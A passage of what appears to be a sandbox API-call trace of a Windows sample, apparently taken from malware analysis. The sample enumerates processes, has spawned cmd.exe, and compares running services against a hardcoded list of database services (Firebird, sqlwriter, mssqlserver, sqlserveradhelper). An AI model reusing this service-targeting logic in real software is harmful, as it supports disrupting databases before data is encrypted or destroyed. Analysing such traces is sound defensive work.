[0174.142] lstrlenW (lpString="svchost.exe") returned 11 [0174.142] Process32NextW (in: hSnapshot=0x27c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0174.142] lstrlenW (lpString="dwm.exe") returned 7 [0174.142] Process32NextW (in: hSnapshot=0x27c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0174.143] lstrlenW (lpString="svchost.exe") returned 11 [0174.143] Process32NextW (in: hSnapshot=0x27c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0174.143] lstrlenW (lpString="svchost.exe") returned 11 [0174.143] Process32NextW (in: hSnapshot=0x27c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0174.143] lstrlenW (lpString="svchost.exe") returned 11 [0174.143] Process32NextW (in: hSnapshot=0x27c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x42, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0174.144] lstrlenW (lpString="svchost.exe") returned 11 [0174.144] Process32NextW (in: hSnapshot=0x27c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x28c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2b, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0174.144] lstrlenW (lpString="svchost.exe") returned 11 [0174.144] Process32NextW (in: hSnapshot=0x27c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x42c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0174.145] lstrlenW (lpString="svchost.exe") returned 11 [0174.145] Process32NextW (in: hSnapshot=0x27c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0174.145] lstrlenW (lpString="svchost.exe") returned 11 [0174.145] Process32NextW (in: hSnapshot=0x27c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0174.145] lstrlenW (lpString="svchost.exe") returned 11 [0174.145] Process32NextW (in: hSnapshot=0x27c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0174.146] lstrlenW (lpString="svchost.exe") returned 11 [0174.146] Process32NextW (in: hSnapshot=0x27c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0174.146] lstrlenW (lpString="svchost.exe") returned 11 [0174.146] Process32NextW (in: hSnapshot=0x27c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x620, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0174.147] lstrlenW (lpString="spoolsv.exe") returned 11 [0174.147] Process32NextW (in: hSnapshot=0x27c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x66c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0174.147] lstrlenW (lpString="svchost.exe") returned 11 [0174.147] Process32NextW (in: hSnapshot=0x27c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x68c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0174.147] lstrlenW (lpString="audiodg.exe") returned 11 [0174.147] Process32NextW (in: hSnapshot=0x27c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0174.148] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0174.148] Process32NextW (in: hSnapshot=0x27c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x760, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0174.148] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0174.148] Process32NextW (in: hSnapshot=0x27c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0174.149] lstrlenW (lpString="Memory Compression") returned 18 [0174.149] Process32NextW (in: hSnapshot=0x27c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x848, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0174.149] lstrlenW (lpString="sihost.exe") returned 10 [0174.149] Process32NextW (in: hSnapshot=0x27c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0174.149] lstrlenW (lpString="svchost.exe") returned 11 [0174.149] Process32NextW (in: hSnapshot=0x27c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0174.150] lstrlenW (lpString="taskhostw.exe") returned 13 [0174.150] Process32NextW (in: hSnapshot=0x27c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x1a8, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0174.150] lstrlenW (lpString="msoia.exe") returned 9 [0174.150] Process32NextW (in: hSnapshot=0x27c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0xa04, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0174.151] lstrlenW (lpString="explorer.exe") returned 12 [0174.151] Process32NextW (in: hSnapshot=0x27c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0174.151] lstrlenW (lpString="SearchUI.exe") returned 12 [0174.151] Process32NextW (in: hSnapshot=0x27c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0174.152] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0174.152] Process32NextW (in: hSnapshot=0x27c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0174.152] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0174.152] Process32NextW (in: hSnapshot=0x27c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="mobsync.exe")) returned 1 [0174.152] lstrlenW (lpString="mobsync.exe") returned 11 [0174.152] Process32NextW (in: hSnapshot=0x27c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0174.153] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0174.153] Process32NextW (in: hSnapshot=0x27c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0xa14, pcPriClassBase=8, dwFlags=0x0, szExeFile="WindowsSystem32file.pe32.exe")) returned 1 [0174.153] lstrlenW (lpString="WindowsSystem32file.pe32.exe") returned 28 [0174.153] Process32NextW (in: hSnapshot=0x27c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdfc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xa14, pcPriClassBase=8, dwFlags=0x0, szExeFile="WindowsSystem32file.pe32.exe")) returned 1 [0174.154] lstrlenW (lpString="WindowsSystem32file.pe32.exe") returned 28 [0174.154] Process32NextW (in: hSnapshot=0x27c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xdf0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0174.154] lstrlenW (lpString="cmd.exe") returned 7 [0174.154] Process32NextW (in: hSnapshot=0x27c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xe0c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0174.154] lstrlenW (lpString="conhost.exe") returned 11 [0174.154] Process32NextW (in: hSnapshot=0x27c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xe0c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0174.155] CloseHandle (hObject=0x27c) returned 1 [0174.155] Sleep (dwMilliseconds=0x1f4) [0174.854] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x45dda8 [0174.855] EnumServicesStatusExW (in: hSCManager=0x45dda8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0) returned 0 [0174.855] GetLastError () returned 0xea [0174.855] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x1c28) returned 0x482090 [0174.855] EnumServicesStatusExW (in: hSCManager=0x45dda8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x482090, cbBufSize=0x1c28, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x482090, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0) returned 1 [0174.856] CloseServiceHandle (hSCObject=0x45dda8) returned 1 [0174.856] lstrlenW (lpString="AppXSvc") returned 7 [0174.856] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0174.856] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0174.856] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0174.856] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0174.856] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0174.856] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0174.856] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0174.856] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0174.856] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0174.857] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0174.857] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0174.857] lstrlenW (lpString="Audiosrv") returned 8 [0174.857] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0174.857] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0174.857] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0174.857] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0174.857] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0174.857] lstrlenW (lpString="BFE") returned 3 [0174.857] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0174.857] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0174.857] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0174.857] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0174.857] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0174.857] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0174.857] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0174.857] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0174.857] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0174.857] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0174.857] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0174.857] lstrlenW (lpString="CDPSvc") returned 6 [0174.857] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0174.857] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0174.857] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0174.857] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0174.857] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0174.857] lstrlenW (lpString="ClickToRunSvc") returned 13 [0174.857] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0174.857] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0174.857] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0174.857] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0174.857] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0174.857] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0174.857] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0174.858] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0174.858] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0174.858] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0174.858] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0174.858] lstrlenW (lpString="CryptSvc") returned 8 [0174.858] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0174.858] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0174.858] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0174.858] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0174.858] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0174.858] lstrlenW (lpString="DcomLaunch") returned 10 [0174.858] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0174.858] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0174.858] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0174.858] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0174.858] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0174.858] lstrlenW (lpString="DeviceAssociationService") returned 24 [0174.858] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0174.858] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0174.858] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0174.858] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0174.858] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0174.858] lstrlenW (lpString="Dhcp") returned 4 [0174.858] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0174.858] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0174.858] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0174.858] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0174.858] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0174.858] lstrlenW (lpString="Dnscache") returned 8 [0174.858] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0174.858] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0174.858] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0174.858] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0174.858] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0174.859] lstrlenW (lpString="DPS") returned 3 [0174.859] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0174.859] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0174.859] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0174.859] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0174.859] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0174.859] lstrlenW (lpString="DsmSvc") returned 6 [0174.859] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DsmSvc") returned 1 [0174.859] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DsmSvc") returned 1 [0174.859] lstrcmpiW (lpString1="sqlwriter", lpString2="DsmSvc") returned 1 [0174.859] lstrcmpiW (lpString1="mssqlserver", lpString2="DsmSvc") returned 1 [0174.859] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DsmSvc") returned 1 [0174.859] lstrlenW (lpString="DusmSvc") returned 7 [0174.859] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0174.859] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0174.859] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0174.859] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0174.859] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0174.859] lstrlenW (lpString="EventLog") returned 8 [0174.859] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0174.859] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0174.859] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0174.859] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0174.859] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0174.859] lstrlenW (lpString="EventSystem") returned 11 [0174.859] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0174.859] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0174.859] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0174.860] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0174.860] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0174.860] lstrlenW (lpString="FontCache") returned 9 [0174.860] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0174.860] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0174.860] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0174.860] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0174.860] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0174.860] lstrlenW (lpString="gpsvc") returned 5 [0174.860] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0174.860] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0174.860] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0174.860] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0174.860] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0174.860] lstrlenW (lpString="iphlpsvc") returned 8 [0174.860] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0174.860] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0174.860] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0174.860] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0174.860] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0174.860] lstrlenW (lpString="KeyIso") returned 6 [0174.860] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0174.860] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0174.860] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0174.860] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0174.860] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0174.860] lstrlenW (lpString="LanmanServer") returned 12 [0174.860] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0174.860] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0174.860] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0174.860] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0174.860] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0174.860] lstrlenW (lpString="LanmanWorkstation") returned 17 [0174.860] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0174.861] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0174.861] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0174.861] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0174.861] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0174.861] lstrlenW (lpString="lfsvc") returned 5 [0174.861] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0174.861] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0174.861] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0174.861] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0174.861] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0174.861] lstrlenW (lpString="lmhosts") returned 7 [0174.861] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0174.861] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0174.861] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0174.861] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0174.861] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0174.861] lstrlenW (lpString="LSM") returned 3 [0174.861] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0174.861] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0174.861] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0174.861] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0174.861] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0174.861] lstrlenW (lpString="MpsSvc") returned 6 [0174.861] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0174.861] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0174.861] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0174.861] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0174.861] lstrcmpiW 